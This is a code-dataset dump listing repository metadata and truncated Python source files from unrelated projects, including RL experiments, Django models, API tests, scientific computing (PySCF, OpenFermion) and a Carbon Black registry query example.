hexsha
stringlengths
40
40
size
int64
5
2.06M
ext
stringclasses
11 values
lang
stringclasses
1 value
max_stars_repo_path
stringlengths
3
251
max_stars_repo_name
stringlengths
4
130
max_stars_repo_head_hexsha
stringlengths
40
78
max_stars_repo_licenses
listlengths
1
10
max_stars_count
int64
1
191k
max_stars_repo_stars_event_min_datetime
stringlengths
24
24
max_stars_repo_stars_event_max_datetime
stringlengths
24
24
max_issues_repo_path
stringlengths
3
251
max_issues_repo_name
stringlengths
4
130
max_issues_repo_head_hexsha
stringlengths
40
78
max_issues_repo_licenses
listlengths
1
10
max_issues_count
int64
1
116k
max_issues_repo_issues_event_min_datetime
stringlengths
24
24
max_issues_repo_issues_event_max_datetime
stringlengths
24
24
max_forks_repo_path
stringlengths
3
251
max_forks_repo_name
stringlengths
4
130
max_forks_repo_head_hexsha
stringlengths
40
78
max_forks_repo_licenses
listlengths
1
10
max_forks_count
int64
1
105k
max_forks_repo_forks_event_min_datetime
stringlengths
24
24
max_forks_repo_forks_event_max_datetime
stringlengths
24
24
content
stringlengths
1
1.05M
avg_line_length
float64
1
1.02M
max_line_length
int64
3
1.04M
alphanum_fraction
float64
0
1
fe440692a08637fae6bb18f0a67dbb7336fec900
1,909
py
Python
gentable/gen_test_cases.py
selavy/studies
e17b91ffab193e46fec00cf2b8070dbf1f2c39e3
[ "MIT" ]
null
null
null
gentable/gen_test_cases.py
selavy/studies
e17b91ffab193e46fec00cf2b8070dbf1f2c39e3
[ "MIT" ]
null
null
null
gentable/gen_test_cases.py
selavy/studies
e17b91ffab193e46fec00cf2b8070dbf1f2c39e3
[ "MIT" ]
null
null
null
#!/usr/bin/env python3 import random N = 32 M = 64 # NOTE: 0 is a reserved value randu = lambda x: random.randint(1, 2**x-1) randU32 = lambda: randu(32) randU64 = lambda: randu(64) fmt_by_dtype = { 'u32hex': '0x{:08x}', 'u64hex': '0x{:016x}', } cpp_by_dtype = { 'u32hex': 'uint32_t', 'u64hex': 'ui...
24.474359
83
0.572027
fe449c44aa57e39f59499c7b75ef20b3e5b78b64
6,143
py
Python
examples/toy_env/run_toy_env.py
aaspeel/deer
3ced3695f0ca8537337019d2e3ec0ff8bd346d91
[ "BSD-3-Clause" ]
null
null
null
examples/toy_env/run_toy_env.py
aaspeel/deer
3ced3695f0ca8537337019d2e3ec0ff8bd346d91
[ "BSD-3-Clause" ]
null
null
null
examples/toy_env/run_toy_env.py
aaspeel/deer
3ced3695f0ca8537337019d2e3ec0ff8bd346d91
[ "BSD-3-Clause" ]
null
null
null
"""Toy environment launcher. See the docs for more details about this environment. """ import sys import logging import numpy as np from deer.default_parser import process_args from deer.agent import NeuralAgent from deer.learning_algos.q_net_keras import MyQNetwork from Toy_env import MyEnv as Toy_env import deer.e...
39.378205
120
0.689891
fe44a3208c6d0b6455e3244b9bf2ee35ca9096e2
626
py
Python
equilibration/sodium_models/seed_1/post_processing/rdf_calculations.py
Dynamical-Systems-Laboratory/IPMCsMD
7f0662568d37dce7dcd07b648284aa62991d343c
[ "MIT" ]
2
2020-10-30T16:17:01.000Z
2021-08-23T13:58:03.000Z
equilibration/sodium_models/seed_9/post_processing/rdf_calculations.py
atruszkowska/IPMCsMD
d3900ea4da453bcc037fd946a2ae61cc67e316f5
[ "MIT" ]
null
null
null
equilibration/sodium_models/seed_9/post_processing/rdf_calculations.py
atruszkowska/IPMCsMD
d3900ea4da453bcc037fd946a2ae61cc67e316f5
[ "MIT" ]
3
2020-09-14T20:42:47.000Z
2021-12-13T07:58:16.000Z
# ------------------------------------------------------------------ # # RDF and CN related analysis # # ------------------------------------------------------------------ import sys py_path = '../../../../postprocessing/' sys.path.insert(0, py_path) py_path = '../../../../postprocessing/io_operations/' sys.path.inse...
17.885714
68
0.543131
fe463c850bc48b7b739387d099ca1d849b457791
1,675
py
Python
venv/Lib/site-packages/plotnine/geoms/geom_pointrange.py
EkremBayar/bayar
aad1a32044da671d0b4f11908416044753360b39
[ "MIT" ]
null
null
null
venv/Lib/site-packages/plotnine/geoms/geom_pointrange.py
EkremBayar/bayar
aad1a32044da671d0b4f11908416044753360b39
[ "MIT" ]
1
2020-10-02T21:43:06.000Z
2020-10-15T22:52:39.000Z
venv/Lib/site-packages/plotnine/geoms/geom_pointrange.py
EkremBayar/bayar
aad1a32044da671d0b4f11908416044753360b39
[ "MIT" ]
null
null
null
from ..doctools import document from .geom import geom from .geom_path import geom_path from .geom_point import geom_point from .geom_linerange import geom_linerange
29.385965
70
0.577313
fe468cffe0b2fb47619682741847648e0145af63
3,704
py
Python
app/backend-test/core_models/keras-experiments/run02_try_simple_CNN_generate.py
SummaLabs/DLS
2adba47430b456ad0f324e4c8883a896a23b3fbf
[ "MIT" ]
32
2017-09-04T17:40:39.000Z
2021-02-16T23:08:34.000Z
app/backend-test/core_models/keras-experiments/run02_try_simple_CNN_generate.py
AymanNabih/DLS
2adba47430b456ad0f324e4c8883a896a23b3fbf
[ "MIT" ]
3
2017-10-09T12:52:54.000Z
2020-06-29T02:48:38.000Z
app/backend-test/core_models/keras-experiments/run02_try_simple_CNN_generate.py
AymanNabih/DLS
2adba47430b456ad0f324e4c8883a896a23b3fbf
[ "MIT" ]
20
2017-10-07T17:29:50.000Z
2021-01-23T22:01:54.000Z
#!/usr/bin/python # -*- coding: utf-8 -*- __author__ = 'ar' import json import os import skimage.io as skio import matplotlib.pyplot as plt import numpy as np import keras from keras.models import Model from keras.layers import Input, Convolution2D, MaxPooling2D, Flatten, Dense from keras.utils.visualize_util import ...
31.389831
108
0.551026
fe4725d5ecf06c13eb1ec7a97c57345acb7badcb
760
py
Python
tests/integration/test_interface.py
Synodic-Software/CPPython
12e9acdf68e54d45bcf0b6c137d4fe627d1f6877
[ "MIT" ]
null
null
null
tests/integration/test_interface.py
Synodic-Software/CPPython
12e9acdf68e54d45bcf0b6c137d4fe627d1f6877
[ "MIT" ]
8
2021-11-28T23:46:36.000Z
2022-03-15T09:00:43.000Z
tests/integration/test_interface.py
Synodic-Software/CPPython
12e9acdf68e54d45bcf0b6c137d4fe627d1f6877
[ "MIT" ]
2
2021-11-28T23:17:49.000Z
2021-11-28T23:36:03.000Z
""" Test the integrations related to the internal interface implementation and the 'Interface' interface itself """ import pytest from cppython_core.schema import InterfaceConfiguration from pytest_cppython.plugin import InterfaceIntegrationTests from cppython.console import ConsoleInterface
28.148148
107
0.735526
fe4908b1c0b067e1655d4c242e84ebb2602b1af5
11,218
py
Python
src/main.py
srijankr/DAIN
89edec24e63383dfd5ef19f2bfb48d11b75b3dde
[ "Apache-2.0" ]
3
2021-08-19T20:11:45.000Z
2021-08-23T14:20:11.000Z
src/main.py
srijankr/DAIN
89edec24e63383dfd5ef19f2bfb48d11b75b3dde
[ "Apache-2.0" ]
null
null
null
src/main.py
srijankr/DAIN
89edec24e63383dfd5ef19f2bfb48d11b75b3dde
[ "Apache-2.0" ]
null
null
null
#@contact Sejoon Oh (soh337@gatech.edu), Georgia Institute of Technology #@version 1.0 #@date 2021-08-17 #Influence-guided Data Augmentation for Neural Tensor Completion (DAIN) #This software is free of charge under research purposes. #For commercial purposes, please contact the main author. import torch f...
45.97541
201
0.668123
fe4a3921bc3a55c6c61a10f07f322ae6a1bc443a
12,719
py
Python
pay-api/tests/unit/api/test_fee.py
saravanpa-aot/sbc-pay
fb9f61b99e506e43280bc69531ee107cc12cd92d
[ "Apache-2.0" ]
null
null
null
pay-api/tests/unit/api/test_fee.py
saravanpa-aot/sbc-pay
fb9f61b99e506e43280bc69531ee107cc12cd92d
[ "Apache-2.0" ]
null
null
null
pay-api/tests/unit/api/test_fee.py
saravanpa-aot/sbc-pay
fb9f61b99e506e43280bc69531ee107cc12cd92d
[ "Apache-2.0" ]
5
2019-03-01T01:12:12.000Z
2019-07-08T16:33:47.000Z
# Copyright 2019 Province of British Columbia # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agre...
41.029032
112
0.679928
fe4b1dcb47180e465318d2ca261b6bc60c83e970
1,933
py
Python
backend/app/auth/service.py
pers0n4/yoonyaho
cf7518667bc7cefff0f9534a5e0af89b261cfed7
[ "MIT" ]
null
null
null
backend/app/auth/service.py
pers0n4/yoonyaho
cf7518667bc7cefff0f9534a5e0af89b261cfed7
[ "MIT" ]
16
2021-04-04T10:58:24.000Z
2021-05-23T11:52:08.000Z
backend/app/auth/service.py
pers0n4/yoonyaho
cf7518667bc7cefff0f9534a5e0af89b261cfed7
[ "MIT" ]
null
null
null
from datetime import datetime, timedelta import jwt from flask import current_app from app import db from app.user.repository import UserRepository
30.203125
88
0.558717
fe4c72b51d2a6fb97aa207f15cdf6884d9d32013
4,843
py
Python
scripts/qlearn.py
kebaek/minigrid
3808c1401ea7846febf88d0a2fb2aa39e4a4913f
[ "MIT" ]
5
2021-09-29T18:53:37.000Z
2022-03-01T08:03:42.000Z
scripts/qlearn.py
kebaek/minigrid
3808c1401ea7846febf88d0a2fb2aa39e4a4913f
[ "MIT" ]
null
null
null
scripts/qlearn.py
kebaek/minigrid
3808c1401ea7846febf88d0a2fb2aa39e4a4913f
[ "MIT" ]
null
null
null
import _init_paths import argparse import random import time import utils import os from collections import defaultdict import numpy as np import csv from progress.bar import IncrementalBar from utils.hash import * if __name__ == '__main__': main()
38.133858
175
0.628536
fe4cffed78f06b24cc3c09215a327c208310e601
1,634
py
Python
research/tunnel.py
carrino/FrisPy
db9e59f465ee25d1c037d580c37da8f35b930b50
[ "MIT" ]
null
null
null
research/tunnel.py
carrino/FrisPy
db9e59f465ee25d1c037d580c37da8f35b930b50
[ "MIT" ]
null
null
null
research/tunnel.py
carrino/FrisPy
db9e59f465ee25d1c037d580c37da8f35b930b50
[ "MIT" ]
null
null
null
import math from pprint import pprint import matplotlib.pyplot as plt from scipy.optimize import minimize from frispy import Disc from frispy import Discs from frispy import Model model = Discs.roc mph_to_mps = 0.44704 v = 56 * mph_to_mps rot = -v / model.diameter ceiling = 4 # 4 meter ceiling tunnel_width = 4 # 4 ...
27.694915
113
0.621787
fe4e0e23c7947f7d713c88797190743b2b4ea285
1,450
py
Python
openfermioncirq/variational/ansatzes/swap_network_trotter_hubbard_test.py
unpilbaek/OpenFermion-Cirq
d2f5a871bb5aea1e53d280c0a0e4be999b0c8d9d
[ "Apache-2.0" ]
278
2018-07-18T23:43:16.000Z
2022-01-02T21:38:08.000Z
openfermioncirq/variational/ansatzes/swap_network_trotter_hubbard_test.py
unpilbaek/OpenFermion-Cirq
d2f5a871bb5aea1e53d280c0a0e4be999b0c8d9d
[ "Apache-2.0" ]
131
2018-07-18T19:04:58.000Z
2020-08-04T21:05:42.000Z
openfermioncirq/variational/ansatzes/swap_network_trotter_hubbard_test.py
unpilbaek/OpenFermion-Cirq
d2f5a871bb5aea1e53d280c0a0e4be999b0c8d9d
[ "Apache-2.0" ]
101
2018-07-18T21:43:50.000Z
2022-03-04T09:51:02.000Z
# Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distribu...
41.428571
80
0.65931
fe4e2e11b7395e1b93b6ba3044a09072e2e8f08b
1,230
py
Python
Modules/Phylogenetic.py
DaneshMoradigaravand/PlasmidPerm
7a84c1d4dbf7320dd5ba821ff0e715a89fe4b3e4
[ "MIT" ]
null
null
null
Modules/Phylogenetic.py
DaneshMoradigaravand/PlasmidPerm
7a84c1d4dbf7320dd5ba821ff0e715a89fe4b3e4
[ "MIT" ]
null
null
null
Modules/Phylogenetic.py
DaneshMoradigaravand/PlasmidPerm
7a84c1d4dbf7320dd5ba821ff0e715a89fe4b3e4
[ "MIT" ]
null
null
null
import os from Bio import AlignIO, Phylo from Bio.Phylo.TreeConstruction import DistanceCalculator, DistanceTreeConstructor
45.555556
102
0.71626
fe50481354faa15f773f5ba3bf0a4fb0f0ded16b
8,854
py
Python
retrieve_regmod_values.py
cbcommunity/cbapi-examples
f8a81006b27c724582b4b04c124eb97a8c8e75d3
[ "MIT" ]
17
2016-07-21T14:58:49.000Z
2020-10-26T15:51:38.000Z
retrieve_regmod_values.py
cbcommunity/cbapi-examples
f8a81006b27c724582b4b04c124eb97a8c8e75d3
[ "MIT" ]
5
2017-06-07T02:42:09.000Z
2019-10-23T12:26:29.000Z
retrieve_regmod_values.py
cbcommunity/cbapi-examples
f8a81006b27c724582b4b04c124eb97a8c8e75d3
[ "MIT" ]
9
2016-10-03T02:18:23.000Z
2021-03-08T22:44:33.000Z
#!/usr/bin/env python # #The MIT License (MIT) # # Copyright (c) 2015 Bit9 + Carbon Black # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal # in the Software without restriction, including without limitation t...
42.980583
146
0.61588
fe509cc8fe00e2ec571d053ee6c5713299416d2c
1,225
py
Python
h/exceptions.py
ssin122/test-h
c10062ae23b690afaac0ab4af7b9a5a5e4b686a9
[ "MIT" ]
2
2021-11-07T23:14:54.000Z
2021-11-17T10:11:55.000Z
h/exceptions.py
ssin122/test-h
c10062ae23b690afaac0ab4af7b9a5a5e4b686a9
[ "MIT" ]
null
null
null
h/exceptions.py
ssin122/test-h
c10062ae23b690afaac0ab4af7b9a5a5e4b686a9
[ "MIT" ]
1
2017-03-12T00:18:33.000Z
2017-03-12T00:18:33.000Z
# -*- coding: utf-8 -*- """Exceptions raised by the h application.""" from __future__ import unicode_literals from h.i18n import TranslationString as _ # N.B. This class **only** covers exceptions thrown by API code provided by # the h package. memex code has its own base APIError class.
27.222222
79
0.702041
fe52100e092cba8f28b9f872d87740877e78ee29
5,535
py
Python
functest/opnfv_tests/openstack/shaker/shaker.py
opnfv-poc/functest
4f54b282cabccef2a53e21c77c81b60fe890a8a4
[ "Apache-2.0" ]
null
null
null
functest/opnfv_tests/openstack/shaker/shaker.py
opnfv-poc/functest
4f54b282cabccef2a53e21c77c81b60fe890a8a4
[ "Apache-2.0" ]
null
null
null
functest/opnfv_tests/openstack/shaker/shaker.py
opnfv-poc/functest
4f54b282cabccef2a53e21c77c81b60fe890a8a4
[ "Apache-2.0" ]
null
null
null
#!/usr/bin/env python # Copyright (c) 2018 Orange and others. # # All rights reserved. This program and the accompanying materials # are made available under the terms of the Apache License, Version 2.0 # which accompanies this distribution, and is available at # http://www.apache.org/licenses/LICENSE-2.0 """ Shaker_...
37.910959
79
0.605239
fe52c241e006580225be521c666de64401063758
410
py
Python
lib/models/bn_helper.py
hongrui16/naic2020_B
9321bdd19e7d2d47ac9c711eb8437cd364e25f44
[ "MIT" ]
null
null
null
lib/models/bn_helper.py
hongrui16/naic2020_B
9321bdd19e7d2d47ac9c711eb8437cd364e25f44
[ "MIT" ]
null
null
null
lib/models/bn_helper.py
hongrui16/naic2020_B
9321bdd19e7d2d47ac9c711eb8437cd364e25f44
[ "MIT" ]
null
null
null
import torch import functools if torch.__version__.startswith('0'): from .sync_bn.inplace_abn.bn import InPlaceABNSync BatchNorm2d = functools.partial(InPlaceABNSync, activation='none') BatchNorm2d_class = InPlaceABNSync relu_inplace = False else: # BatchNorm2d_class = BatchNorm2d = torch.nn.SyncBa...
34.166667
70
0.770732
fe551b06355686622edde6ba5da6a8305143cb35
2,193
py
Python
ordered_model/tests/models.py
HiddenClever/django-ordered-model
c94709403cfbb35fa4da3d6470ead816096fdec8
[ "BSD-3-Clause" ]
null
null
null
ordered_model/tests/models.py
HiddenClever/django-ordered-model
c94709403cfbb35fa4da3d6470ead816096fdec8
[ "BSD-3-Clause" ]
null
null
null
ordered_model/tests/models.py
HiddenClever/django-ordered-model
c94709403cfbb35fa4da3d6470ead816096fdec8
[ "BSD-3-Clause" ]
null
null
null
from django.db import models from ordered_model.models import OrderedModel, OrderedModelBase
29.24
117
0.735522
fe5674a5616780733e828478139977dd1166a1db
2,288
py
Python
library/pandas_utils.py
SACGF/variantgrid
515195e2f03a0da3a3e5f2919d8e0431babfd9c9
[ "RSA-MD" ]
5
2021-01-14T03:34:42.000Z
2022-03-07T15:34:18.000Z
library/pandas_utils.py
SACGF/variantgrid
515195e2f03a0da3a3e5f2919d8e0431babfd9c9
[ "RSA-MD" ]
551
2020-10-19T00:02:38.000Z
2022-03-30T02:18:22.000Z
library/pandas_utils.py
SACGF/variantgrid
515195e2f03a0da3a3e5f2919d8e0431babfd9c9
[ "RSA-MD" ]
null
null
null
import os import sys import numpy as np import pandas as pd def get_columns_percent_dataframe(df: pd.DataFrame, totals_column=None, percent_names=True) -> pd.DataFrame: """ @param totals_column: (default = use sum of columns) @param percent_names: Rename names from 'col' => 'col %' Return a dataframe...
28.6
108
0.649913
fe56b7b7af27f780f7fa9407871404e8b6436b3d
1,587
py
Python
app/services/base.py
grace1307/lan_mapper
5d244078732b86a2e38a5b21436ffca83c689eeb
[ "MIT" ]
null
null
null
app/services/base.py
grace1307/lan_mapper
5d244078732b86a2e38a5b21436ffca83c689eeb
[ "MIT" ]
null
null
null
app/services/base.py
grace1307/lan_mapper
5d244078732b86a2e38a5b21436ffca83c689eeb
[ "MIT" ]
null
null
null
from app.db import db # Ignore it if db can't find the row when updating/deleting # Todo: not ignore it, raise some error, remove checkers in view
28.339286
91
0.609326
fe56cfdabfdb2c62e991e0ff5887c5fa113a7477
694
py
Python
set.py
QUDUSKUNLE/Python-Flask
5990572b17923c976907c2fa5c2a9790f3a7c869
[ "MIT" ]
null
null
null
set.py
QUDUSKUNLE/Python-Flask
5990572b17923c976907c2fa5c2a9790f3a7c869
[ "MIT" ]
null
null
null
set.py
QUDUSKUNLE/Python-Flask
5990572b17923c976907c2fa5c2a9790f3a7c869
[ "MIT" ]
null
null
null
""" How to set up virtual environment pip install virtualenv pip install virtualenvwrapper # export WORKON_HOME=~/Envs source /usr/local/bin/virtualenvwrapper.sh # To activate virtualenv and set up flask 1. mkvirtualenv my-venv ###2. workon my-venv 3. pip install Flask 4. pip freeze 5. #...
30.173913
79
0.714697
fe5734aaedd2488a65c2f70b6e6de6bc38f3f4ec
1,346
py
Python
test/test_generate_data_coassembly.py
Badboy-16/SemiBin
501bc1a7e310104c09475ca233a3f16d081f129a
[ "MIT" ]
null
null
null
test/test_generate_data_coassembly.py
Badboy-16/SemiBin
501bc1a7e310104c09475ca233a3f16d081f129a
[ "MIT" ]
null
null
null
test/test_generate_data_coassembly.py
Badboy-16/SemiBin
501bc1a7e310104c09475ca233a3f16d081f129a
[ "MIT" ]
null
null
null
from SemiBin.main import generate_data_single import os import pytest import logging import pandas as pd
42.0625
80
0.604012
fe5794e6af44c9c1406d19b02f67dd498db59356
2,676
py
Python
create/create_args_test.py
CarbonROM/android_tools_acloud
0ed5352df639789767d8ea6fe0a510d7a84cfdcc
[ "Apache-2.0" ]
null
null
null
create/create_args_test.py
CarbonROM/android_tools_acloud
0ed5352df639789767d8ea6fe0a510d7a84cfdcc
[ "Apache-2.0" ]
null
null
null
create/create_args_test.py
CarbonROM/android_tools_acloud
0ed5352df639789767d8ea6fe0a510d7a84cfdcc
[ "Apache-2.0" ]
null
null
null
# Copyright 2020 - The Android Open Source Project # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or ...
32.240964
74
0.702167
fe57a342e2e561171bed3dec28d69a69629da501
452
py
Python
setup.py
Kannuki-san/msman
adc275ad0508d65753c8424e7f6b94becee0b855
[ "MIT" ]
null
null
null
setup.py
Kannuki-san/msman
adc275ad0508d65753c8424e7f6b94becee0b855
[ "MIT" ]
null
null
null
setup.py
Kannuki-san/msman
adc275ad0508d65753c8424e7f6b94becee0b855
[ "MIT" ]
null
null
null
#!/usr/bin/env python # -*- coding: utf-8 -*- import sys from cx_Freeze import setup,Executable icondata='icon.ico' base = None # GUI=, CUI= if sys.platform == 'win32' : base = 'win32GUI' exe = Executable(script = 'main.py', base = base, #icon=icondata ) s...
17.384615
47
0.550885
fe57f5cf47823b7ec7c95916bb4e6edc61679b1b
2,903
py
Python
stereotype/roles.py
petee-d/stereotype
33a2efc826fd907bd23ffb4e8f7cba119ff022ce
[ "MIT" ]
6
2021-05-26T10:45:50.000Z
2022-01-31T17:36:10.000Z
stereotype/roles.py
petee-d/stereotype
33a2efc826fd907bd23ffb4e8f7cba119ff022ce
[ "MIT" ]
null
null
null
stereotype/roles.py
petee-d/stereotype
33a2efc826fd907bd23ffb4e8f7cba119ff022ce
[ "MIT" ]
null
null
null
from __future__ import annotations from threading import Lock from typing import List, Set, Optional, Any, Tuple from stereotype.utils import ConfigurationError _roles: List[Role] = [] _roles_lock = Lock() DEFAULT_ROLE = Role('default')
34.975904
111
0.654151
fe59e0ae9caf8657811351b2ce6b7040c6d723dc
7,175
py
Python
WEB21-1-12/WEB2/power/zvl_test.py
coderdq/vuetest
28ea4f36e2c4e7e80d1ba1777ef312733ef84048
[ "MIT" ]
null
null
null
WEB21-1-12/WEB2/power/zvl_test.py
coderdq/vuetest
28ea4f36e2c4e7e80d1ba1777ef312733ef84048
[ "MIT" ]
null
null
null
WEB21-1-12/WEB2/power/zvl_test.py
coderdq/vuetest
28ea4f36e2c4e7e80d1ba1777ef312733ef84048
[ "MIT" ]
null
null
null
# coding:utf-8 ''' VSWR 10marker ''' import os import logging from commoninterface.zvlbase import ZVLBase logger = logging.getLogger('ghost')
34.830097
108
0.557073
fe5a25378e13e098be2b1cdb76f7062e2c91b9b5
2,410
py
Python
kshell/partial_level_density.py
ErlendLima/70Zn
1bf73adec5a3960e195788bc1f4bc79b2086be64
[ "MIT" ]
null
null
null
kshell/partial_level_density.py
ErlendLima/70Zn
1bf73adec5a3960e195788bc1f4bc79b2086be64
[ "MIT" ]
null
null
null
kshell/partial_level_density.py
ErlendLima/70Zn
1bf73adec5a3960e195788bc1f4bc79b2086be64
[ "MIT" ]
null
null
null
from __future__ import division import numpy as np import matplotlib.pyplot as plt import shellmodelutilities as smutil # Set bin width and range bin_width = 0.20 Emax = 14 Nbins = int(np.ceil(Emax/bin_width)) Emax_adjusted = bin_width*Nbins # Trick to get an integer number of bins bins = np.linspace(0,Emax_adjust...
34.927536
170
0.674274
fe5b20986b78369a49dfb31999fcc5213f36f3e2
15,480
py
Python
tests/integration/test_provider_base.py
neuro-inc/platform-buckets-api
ba04edeb8565fa06e5af6d0316957a8816b087b2
[ "Apache-2.0" ]
null
null
null
tests/integration/test_provider_base.py
neuro-inc/platform-buckets-api
ba04edeb8565fa06e5af6d0316957a8816b087b2
[ "Apache-2.0" ]
55
2021-11-16T00:26:52.000Z
2022-03-29T03:16:55.000Z
tests/integration/test_provider_base.py
neuro-inc/platform-buckets-api
ba04edeb8565fa06e5af6d0316957a8816b087b2
[ "Apache-2.0" ]
null
null
null
import abc import secrets from collections.abc import AsyncIterator, Awaitable, Callable, Mapping from contextlib import AbstractAsyncContextManager, asynccontextmanager from dataclasses import dataclass from datetime import datetime, timezone import pytest from aiohttp import ClientSession from yarl import URL from ...
35.022624
88
0.655749
fe5b28c8c0a814b5544650e3dacd259358d5495e
4,972
py
Python
sbpy/photometry/bandpass.py
jianyangli/sbpy
6b79cbea9bada89207fba17d02dc0c321fa46bf4
[ "BSD-3-Clause" ]
1
2017-11-28T02:58:51.000Z
2017-11-28T02:58:51.000Z
sbpy/photometry/bandpass.py
jianyangli/sbpy
6b79cbea9bada89207fba17d02dc0c321fa46bf4
[ "BSD-3-Clause" ]
null
null
null
sbpy/photometry/bandpass.py
jianyangli/sbpy
6b79cbea9bada89207fba17d02dc0c321fa46bf4
[ "BSD-3-Clause" ]
null
null
null
# Licensed under a 3-clause BSD style license - see LICENSE.rst """ sbpy bandpass Module """ __all__ = [ 'bandpass' ] import os from astropy.utils.data import get_pkg_data_filename def bandpass(name): """Retrieve bandpass transmission spectrum from sbpy. Parameters ---------- name : string ...
34.054795
75
0.377715
fe5bf9f4fe33b1e74de5e5a8a91381afcd0d937c
576
py
Python
appserver/search/views.py
sinag/SWE574-Horuscope
9725dd356cbfd19f0ce88d4a208c872be765bd88
[ "MIT" ]
null
null
null
appserver/search/views.py
sinag/SWE574-Horuscope
9725dd356cbfd19f0ce88d4a208c872be765bd88
[ "MIT" ]
null
null
null
appserver/search/views.py
sinag/SWE574-Horuscope
9725dd356cbfd19f0ce88d4a208c872be765bd88
[ "MIT" ]
1
2020-08-07T12:54:51.000Z
2020-08-07T12:54:51.000Z
from django.http import HttpResponse from django.shortcuts import render, redirect from community.models import Community # Create your views here.
30.315789
88
0.744792
fe5c54cf485f5924948c2f9e92bdf0e6152fda9f
1,566
py
Python
teams/migrations/0001_initial.py
Sudani-Coder/teammanager
857082bc14d7a783d2327b4e982edba7c061f303
[ "MIT" ]
null
null
null
teams/migrations/0001_initial.py
Sudani-Coder/teammanager
857082bc14d7a783d2327b4e982edba7c061f303
[ "MIT" ]
null
null
null
teams/migrations/0001_initial.py
Sudani-Coder/teammanager
857082bc14d7a783d2327b4e982edba7c061f303
[ "MIT" ]
null
null
null
# Generated by Django 3.1.2 on 2020-10-18 17:19 from django.db import migrations, models
36.418605
141
0.541507
fe5c97158341c4d0d209389c3a2affb30b2d34bf
9,772
py
Python
qcodes_contrib_drivers/drivers/Oxford/ILM200.py
jenshnielsen/Qcodes_contrib_drivers
dc878cdd99a62f4643a62163a3a6341f98cee440
[ "MIT" ]
null
null
null
qcodes_contrib_drivers/drivers/Oxford/ILM200.py
jenshnielsen/Qcodes_contrib_drivers
dc878cdd99a62f4643a62163a3a6341f98cee440
[ "MIT" ]
2
2020-05-29T11:00:52.000Z
2020-10-09T06:18:11.000Z
qcodes_contrib_drivers/drivers/Oxford/ILM200.py
jenshnielsen/Qcodes_contrib_drivers
dc878cdd99a62f4643a62163a3a6341f98cee440
[ "MIT" ]
1
2020-04-24T01:15:44.000Z
2020-04-24T01:15:44.000Z
# OxfordInstruments_ILM200.py class, to perform the communication between the Wrapper and the device # Copyright (c) 2017 QuTech (Delft) # Code is available under the available under the `MIT open-source license <https://opensource.org/licenses/MIT>`__ # # Pieter Eendebak <pieter.eendebak@tno.nl>, 2017 # Takafumi Fujit...
32.144737
115
0.556283
fe5cdd0275ff0c38add8e228ff02333ee397a98c
4,417
py
Python
load_cifar_10.py
xgxofdream/CNN-Using-Local-CIFAR-10-dataset
8076056da58a5b564ded50f4cdb059585deb900d
[ "Apache-2.0" ]
null
null
null
load_cifar_10.py
xgxofdream/CNN-Using-Local-CIFAR-10-dataset
8076056da58a5b564ded50f4cdb059585deb900d
[ "Apache-2.0" ]
null
null
null
load_cifar_10.py
xgxofdream/CNN-Using-Local-CIFAR-10-dataset
8076056da58a5b564ded50f4cdb059585deb900d
[ "Apache-2.0" ]
null
null
null
import numpy as np import matplotlib.pyplot as plt import pickle """ The CIFAR-10 dataset consists of 60000 32x32 colour images in 10 classes, with 6000 images per class. There are 50000 training images and 10000 test images. The dataset is divided into five training batches and one test batch, each with 10000 image...
36.808333
118
0.699796
fe5d25adf1fa45402acfda5811c79b3110e5df76
3,054
py
Python
volatility3/framework/plugins/mac/lsmod.py
leohearts/volatility3
f52bd8d74fc47e63ea2611d0171b63dc589d4fdf
[ "Linux-OpenIB" ]
null
null
null
volatility3/framework/plugins/mac/lsmod.py
leohearts/volatility3
f52bd8d74fc47e63ea2611d0171b63dc589d4fdf
[ "Linux-OpenIB" ]
null
null
null
volatility3/framework/plugins/mac/lsmod.py
leohearts/volatility3
f52bd8d74fc47e63ea2611d0171b63dc589d4fdf
[ "Linux-OpenIB" ]
null
null
null
# This file is Copyright 2019 Volatility Foundation and licensed under the Volatility Software License 1.0 # which is available at https://www.volatilityfoundation.org/license/vsl-v1.0 # """A module containing a collection of plugins that produce data typically found in Mac's lsmod command.""" from volatility3.framewor...
34.704545
114
0.630321
fe5e44d3d94cf663368e7d42480218daf9100e40
16,722
py
Python
instahunter.py
Araekiel/instahunter
c07c10773bcf33bdc0d46b39a0dda3f55936b1f3
[ "MIT" ]
17
2020-09-06T18:10:51.000Z
2021-12-04T07:04:00.000Z
instahunter.py
Araekiel/instahunter
c07c10773bcf33bdc0d46b39a0dda3f55936b1f3
[ "MIT" ]
1
2020-09-30T18:43:10.000Z
2021-05-17T09:59:03.000Z
instahunter.py
Araekiel/instahunter
c07c10773bcf33bdc0d46b39a0dda3f55936b1f3
[ "MIT" ]
5
2020-11-10T15:08:37.000Z
2022-01-02T21:20:24.000Z
''' instahunter.py Author: Araekiel Copyright: Copyright 2019, Araekiel License: MIT Version: 1.6.3 ''' import click import requests import json from datetime import datetime headers = { "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:55.0) Gecko/20100101 Firefox/55.0"} cli...
59.297872
425
0.57224
fe5f1c04bf52b3ba6d57139fe21bba52f39a4f4c
6,901
py
Python
pyscf/prop/esr/uks.py
azag0/pyscf
1e3e27b61b3cfd22c9679d2c9851c13b3ebc5a1b
[ "Apache-2.0" ]
2
2021-08-03T12:32:25.000Z
2021-09-29T08:19:02.000Z
pyscf/prop/esr/uks.py
azag0/pyscf
1e3e27b61b3cfd22c9679d2c9851c13b3ebc5a1b
[ "Apache-2.0" ]
null
null
null
pyscf/prop/esr/uks.py
azag0/pyscf
1e3e27b61b3cfd22c9679d2c9851c13b3ebc5a1b
[ "Apache-2.0" ]
2
2020-06-01T05:31:38.000Z
2022-02-08T02:38:33.000Z
#!/usr/bin/env python # Copyright 2014-2019 The PySCF Developers. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # U...
36.707447
89
0.613534
